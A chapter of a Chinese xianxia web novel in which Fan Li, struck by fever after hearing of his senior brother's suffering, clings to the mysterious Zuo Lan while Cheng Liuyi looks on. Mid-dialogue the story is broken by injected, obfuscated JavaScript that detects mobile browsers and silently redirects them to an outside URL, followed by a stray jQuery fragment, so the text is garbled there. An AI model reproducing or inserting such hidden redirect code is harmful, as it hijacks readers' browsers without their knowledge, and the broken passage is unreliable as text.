“大哥大哥!等等我!”
樊栎回头望去,只见程六一在人群中不住挥手,左推右搡,奋力朝他这边挤来。他这才想起自己方才只顾追赶左蓝,竟将程六一落在了后头,心下不免歉然。好在当下前面人潮汹涌,他与那素袍男子及黑衣少年一时都难以前行,程六一这才得以赶上。
“大哥,你一直追着他做什么?”程六一抢步上前,将樊栎与左蓝隔开。他方才见左蓝在众目睽睽之下紧握着樊栎手腕不放,一路又多对他多有维护,樊栎又生的俊美,心中暗忖此人恐怕是对大哥存了别样心思,便对左蓝生出几分不喜。
樊栎只道:“这位仙君修为高于我,我正向他请教缚魔的法门来着。”
程六一将樊栎拉到一旁,压低声音道:“大哥,你不觉得他浑身阴冷阴冷的,简直就像一具死尸么?”
“阴冷?死尸?”樊栎闻言一怔,自己从未在对方身上感到寒意,当下抬眼望向左蓝,但见他面色如常,眉目间满是刚毅,哪里像个死人了?
程六一又道:“总之这人身上阴气太重,跟着他怕不吉利,咱们还是离远些。”
二人低声交谈间,众散修已陆续挤过人群跟了上来。樊栎只得随众人继续前行,眼见那左蓝与黑衣少年走在前面,本欲上前与他二人同行,却被程六一紧紧攥住手腕,樊栎哭笑不得,只得隔着数步跟在他二人身后。
众人出了这条山道,道口便走来一位金袍弟子,引着他们往前拐过两道弯,又走了五十来步,一顶大帐便出现在他们眼前。众人正要进帐,只见一粉裙女子迎面走来,容貌当真明艳无俦,登时引得众散修纷纷心猿意马,都不由得停下脚步驻足观看。
孙小药见那粉裙女子正朝自己这个方向走来,激动得双瞳充血、满面涨红。正欲开口与她打一声招呼,那女子却越过自己,来到樊栎身旁,忽然停顿。
只见她的眼神在樊栎喉结处停顿片刻,后沿着颈线上移,又移至樊栎腰际,最后将眼神移到他的脸上。
樊栎这时胸膛突然传来一阵刺痛,身子顿时如烈火灼烧般疼痛起来,脸也跟着烧红起来。
那粉裙女子见他满面涨红,以为是他害羞,脸上倏然露出一个意味深长的笑,随后拂袖而去。
待她走后,孙小药猛然朝樊栎投来一抹锐利肃杀的眼观,樊栎因身子烧痛,对他不以为意,咬紧牙关,一路忍痛来到帐内,见里面是个通铺,身子终于支撑不住,急忙找了靠门的铺位就坐下。
程六一并未察觉他的不适,说道:“大哥,你的艳福真是不浅呐,竟能收获如此漂亮姑娘的芳心,可是我觉得吧,那个粉衣女子看你的眼神有点奇怪。”
樊栎额上开始冒出冷汗,咬咬牙,问道:“什么奇怪?”
程六一道:“说真的,大哥,我在她的眼神里可瞧不出一点女子该有的柔情,她看你的眼神,攻击性很强,更像是一只夜行的猫,发现了一只无处可逃的猎物,下一顺就要它将吃抹干净……”
樊栎心下一怔。
这时听得帐内有人道:
“你们说华歆殿这锁魔塔,到底是谁破坏的,到底是谁非要和华歆殿对着干?”
孙小药道:“要我说,这凶手啊,十有八九是涳濛山上的那位。”
“哦?兄台为何做此推论?”
孙小药道:“这锁魔塔一破,华歆殿就迫不及待地发出飞符向修真界各门派求援,这表面是在求援,其实真正的目的,是要抓出凶手,各个门派自然也都心领神会,没有一个门派的掌门人和高阶弟子敢不来,因为这些人要是不来,是很容易瓜田李下,遭人猜忌。”
有散修附和道:“没错,我方才听华歆殿的弟子说了,说到目前为止,修真界的各家掌门以及门派中的高阶弟子都验过身了,就唯独涳濛山上的那位,迟迟不露面。”
另一位散修道:“可那人不露面,也实属正常,十年前自从他上了涳濛十一峰,就再没下来过,若非时常看到涳濛山上的结界经常被缝缝补补,大家还以为他死了呢。以他不露面这条理由推论他是凶手,唯实有点说不通。”
孙小药继续道:“我说他是凶手,可不止这个理由。当年他为了得到天罗镇界玺,苦苦哀求赫殿主,赫殿主向来对通幽萤奴恨之入骨,要知道,这支魔族不仅害死了她的双亲,让她的堂兄变得痴痴傻傻,还害死了他的丈夫,以及华歆殿的诸多修士,如此深仇大恨,哪里肯将天罗镇界玺交给他,让他拿着此法宝去守护通幽萤奴。”
又有人接话道:“要说这祁千澈,还真是令人唏嘘,他天资本来就很好,十六岁能杀死恶兽苍猊,二十岁便斩杀恶兽蛊雕,年纪轻轻就得了个‘落霞仙君,长天孤鹘’的称号。十年前登鹊门前掌门祁归璨殒命,他作为祁归璨的独子,顺理成章地继任登鹊门掌门,依照他的天资,再加上他当年一剑斩杀了刨丹恶魔樊拾月,荣耀可谓盛极,必然可以继续把登鹊门发扬光大。可他放着好好的掌门不当,偏要叛离登鹊门,独自前往涳濛十一峰,现在倒好,登鹊门掌门让祁躬行给当了,如今已是江河日下,若不是还傍着华歆殿这株大树,早就该解散了。”
“哼!祁千澈真他娘的是背槽抛粪,通幽萤奴这些畜牲害死了他那么多亲人,他却还要做他们的守护者。为了在涳濛十一峰上设结界,拿到天罗镇界玺,不惜被赫殿主在体内打下九狱钉,要知道,这九狱钉可是由大妖的怨骨炼制,专克修士的肉身与神魂,每打入一根,肉身如万蚁噬骨,神魂如业火灼烧。这滋味,要是给老子来上两根三根的,早就跪下来给赫殿主磕一百次头了,遑论九根?这祁千澈真他娘的不是一般人,硬生生捱完了九根。”
听到这里,樊栎全身有如遭了晴天霹雳,心道:“师兄竟然上了涳濛山守护通幽萤奴!怪不得方才登鹊门的弟子里没瞧见他,怪不得说登鹊门的掌门如今成了祁躬行,原来他早已离开了登鹊门……九狱钉……为了在涳濛山上设结界,师兄竟承受了九狱钉……师兄……”
胸口猛然传来一阵刺痛,仿佛有一万根烧红的铁针刺进心脏。方才那股灼痛伴着心痛猛然上涌,顿时烧得他骨髓要融化一般,一下子睡到倒在铺子上 ,身子蜷成一团。
程六一道:“大哥,你这是怎么了?”看他额头冷汗涔涔,伸手往他额上一探,猛然被下了一跳,惊疑道:“大哥,你怎会这么烫!”
众人听到程六一大叫,纷纷转头往这边看了一眼。
孙小药仍然若无其事道:“赫殿主心狠手辣,对亲弟弟祁千澈下如此狠手。正所谓‘种瓜得瓜,种豆得豆。木匠戴枷,自作自受’,祁千澈必然是因当年之事对赫殿主怀恨在心,如今来报复了,所以我说这锁魔塔爆破,十有八九就是他干的。”
“凶手……师兄……”樊栎嘴中呢喃不断,整颗脑袋仿佛在噼啪燃烧,渐渐的,他人的声音像是隔着一层潮水传来,眼前的程六一渐渐模糊成了一滩黑水。
“大哥!你、你这是怎么了?”程六一见樊栎就要昏睡过去,不由得失声惊呼。
左蓝闻声,当即离了自己铺位,朝这边快步走来。见樊栎双目紧闭,身躯蜷缩成一团,不住地微微颤抖,便问道:“发生了何事?”
程六一急道:“我大哥不知怎的,浑身烧得跟块烙铁似的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109655|195836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
左蓝伸手去探樊栎额头,手背当即触及一片温热。可依他自身所感,这不过是寻常发热,远不及程六一说的那般骇人。
便在此时,樊栎忽地伸出双手,牢牢攥住左蓝手腕,猛地往下一带,径直按在自己滚烫的胸膛上,口中含糊呢喃道:“师兄……”
左蓝抽手不得,只得顺势在樊栎铺边坐下。樊栎却就势挪过身来,整个身子紧紧贴住左蓝,一手环住他的腰际,将发烫的脸颊埋进他的侧腰中。
程六一瞧见此景,一时瞠目结舌,脱口问道:“大哥,你这是做什么?”
左蓝道:“他身子滚烫,或许是感知我身上有寒意,这才要贴近我。你赶快去打盆温水来,给你大哥擦拭擦拭身子吧。”
程六一闻言,目光在两人之间打了几个转,终究还是掀帐而出。
不多时,他端着一盆温水回来,却见自家大哥正半昏半醒地依偎在左蓝怀中。只见樊栎双臂紧环主左蓝的腰身,脸颊深埋在他胸膛中;左蓝则背靠帐篷,一手扶在樊栎肩后,另一手垂在身侧,任由樊栎这般紧紧缠抱着。帐内烛火昏黄,给二人紧贴的身影染上一层朦胧暖色,竟是透出几分难以言说的亲昵。
程六一当即脸色铁青,走到左蓝跟前,“噔”的一声放下水盆,没好气地将将布巾浸湿拧干,上前便要替樊栎擦拭。可樊栎双臂死死箍住左蓝,竟是扯不动半分,擦拭手臂已是无法形通;又要去擦抹脊背和胸膛,这下需要解衣,可眼下二人这般如胶似漆,又如何能解得了?
程六一试了数次,终是徒劳,只得草草擦了擦樊栎的脖颈与手心,便将布巾掷回盆中,抱臂往帐柱上一靠,一双眼睛死死盯住左蓝,面上写满了“不快”二字,心下还暗疑道:莫不是这人当真对我哥起了心思,暗中使了什么手段,害得他这般模样?”
这时帐外忽然传来一阵呼鹰逐犬之声,中间还夹杂着一些呼喝奔踏声。
一名金袍修士掀帐而入,对众人扬声道:“诸位,缚魔已经开场,限时一个时辰,擒得魔物越多者,便有机会入我华歆殿为客卿。此乃千载难逢的良机,诸位当好生施展手段!”
众散修闻言,一个个都从铺位上弹起,抓剑的抓剑,蹬靴的蹬靴,忙乱中甚至还有人将鞋子穿反了。一个个嘴里嚷着:“快走快走,莫要让旁人抢了先!”众人你推我挤,顷刻间便涌出帐外。
程六一见众人争先恐后地离帐缚魔,心下也是一热。他久慕华歆殿已久,早就想入门做华歆殿的弟子,眼前这一机会岂肯错过?当下提剑便欲随行。忽然瞧见樊栎身子一动,竟是将唇瓣凑近左蓝颈侧,仿佛下一刻就要亲上去。
程六一瞧见此等暧昧情景,脚步不由得一顿。
“谋生的路有千万条,不差做华歆殿的客卿,可大哥却只这一个!”想到这里,他转身便将剑放回原处,径自走到帐角,搬起一块石头,重重搁在左蓝跟前,一屁股坐下,两手托腮,两眼圆睁,直勾勾盯住二人。
左蓝见他如此作态,嘴角微微抽动,一时竟哭笑不得。
帐内当下只剩下他三人,一时间阒静无声,唯有樊栎粗重喘息之声在起伏。左蓝默然垂目,任由樊栎依偎在自己在怀中;程六一则如门神般踞坐在对面,目光片刻不离他二人。
樊栎此时又将左蓝另一只手也拢入怀中,紧紧抱住,口中再次呢喃:“师兄……”
左蓝低声应道:“什么?”
樊栎将他腰身搂得更紧,这次清晰唤道:“师兄。”
这二字入耳,左蓝眸光倏然一凝,片刻之后,他抬手轻轻拍在樊栎后背,柔声道:“师兄在呢。”